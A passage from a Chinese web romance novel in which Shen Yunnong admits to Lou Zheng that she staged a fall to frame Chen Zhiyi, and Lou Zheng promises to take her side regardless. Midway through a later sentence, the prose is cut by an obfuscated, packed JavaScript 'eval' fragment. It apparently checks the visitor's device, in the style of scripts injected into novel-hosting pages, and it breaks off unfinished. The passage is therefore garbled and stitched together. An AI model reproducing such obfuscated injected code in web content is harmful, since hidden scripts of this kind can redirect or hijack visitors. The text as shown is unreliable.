“抱歉。不是故意要给陈知意难堪,也不是要利用你,只是她来者不善,我怕被她栽赃,所以……” “所以,走坏人的路让坏人无路可走?” “对,其实我也没有证据她一定是想害我,只不过防患于未然。” 陈知意的行为只是猜测,事实是,她先倒地,栽赃了陈知意。这也是沈韫浓心虚的地方。 但楼铮明知道她是故意的,没有在陈知意面前给她难堪,已经很让她知足了。 楼铮的表情让人看不出情绪:“沈韫浓,我不需要你的证据。” 什么意思? 沈韫浓不解,还没问,只听楼铮又道:“你明知道,不管你是对是错,我都会站在你这一边。” 沈韫浓小心翼翼:“你是说,即使我不是为了自保,就是想要害陈知意,你也会站在我这边吗?” 楼铮很为她这个试探的态度不满:“不然呢?我哪次不是站在你这边?沈韫浓,你有没有良心,还是……你觉得我还没有给你足够的安全感?” 他当然给了。 楼铮是这个世界上给她安全感最多的人,多到她时时刻刻都有反思自己是不是配得上。 说不上来心里是什么感觉。酸涩鼓胀,有什么东西满得快要溢出来。 沈韫浓莫名想哭。 她微微抬头,眨了下眼,没有说话。 楼铮眼神温软:“有我在,你想做什么都可以。前提是别让自己处于危险境地,知道吗?” 沈韫浓喉间哽咽,说不出话。 她郑重点头,坚硬的心肠在这一刻软成一朵云。 看她乖巧的模样,楼铮的心更软。 “刚才摔那一下疼不疼?”他问。 这一句稍稍把沈韫浓失控的神智拉回。 虽然走廊里有地毯,但为了看起来逼真,那一下摔得特别结实,楼铮一问,她马上回忆起了那一下的疼,抬着一条手臂给楼铮看。 “怎么不疼,你看,都摔红了。” 白玉一样莹润的小细胳膊,就这么在眼前伸着,楼铮的喉结不动声色地滑了一下,伸手捉住她的腕子。 “哪里红了,给我看看。”他嗓子发紧。 扯着沈韫浓的手臂,再次将两人的距离缩短。 手肘处的确有一点红,不严重,只不过因为她太白,那抹红痕就看上去有点明显。 楼铮伸手揉了揉:“一会儿回家给你擦点药酒。” 回家?回他家吗? 看到沈韫浓困惑眼神,又道:“不是还没找房子,搬过来住吧。” 沈韫浓脑子空白了一瞬,迅速把手臂收回:“没事了,突然不疼了。” 楼铮皱眉:“沈韫浓,又想对我始乱终弃?” ……这个成语是这么用的吗? 其实刚才的那一刻,让沈韫浓涌起了一种冲动,心说不如就跟楼铮算了。 虽然他不可能娶她,但他对她的确好。 现在他又是单身,谈谈恋爱总是可以的吧? 可还是那句话,楼铮上头时怎么都好说,等下头之后呢? 即便他永远喜欢她,可一边是喜欢的女孩,一边是千亿资产的继承权,爱情怎么可能有那么重要呢? 到了楼铮不得不去娶别人的时候,她该怎么自处? 她能轻易放手吗? 沈韫浓太了解自己,她不能。 所以她转移了话题:“先回去吧,大家都等着呢。” 两人又回了包间,沈韫浓这才发现,宋悠悠也已经不在了。 她不知道,早在刚才她跟陈知意打嘴炮的时候,宋悠悠就被楼铮打发走了。 宋悠悠忍气吞声,龟缩了半晚上,好容易找了个沈韫浓和陈知意都不在的时机,凑到了楼铮面前。 她先是就上次的事跟楼铮道歉,又说了好些拉近两人关系的漂亮话,楼铮手机横屏打游戏,一个眼神都没给她。 宋悠悠实在心急,终于忍不住问出了口:“所以,楼小爷,你对我哪怕一丁点好感都没有吗?” 楼铮眼皮子都没抬:“没有,是你想多了。” “那当时你对我做的那些事……” 这也是宋悠悠最想不通的事情。 她觉得自己不可能判断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她不知道自己怎么了。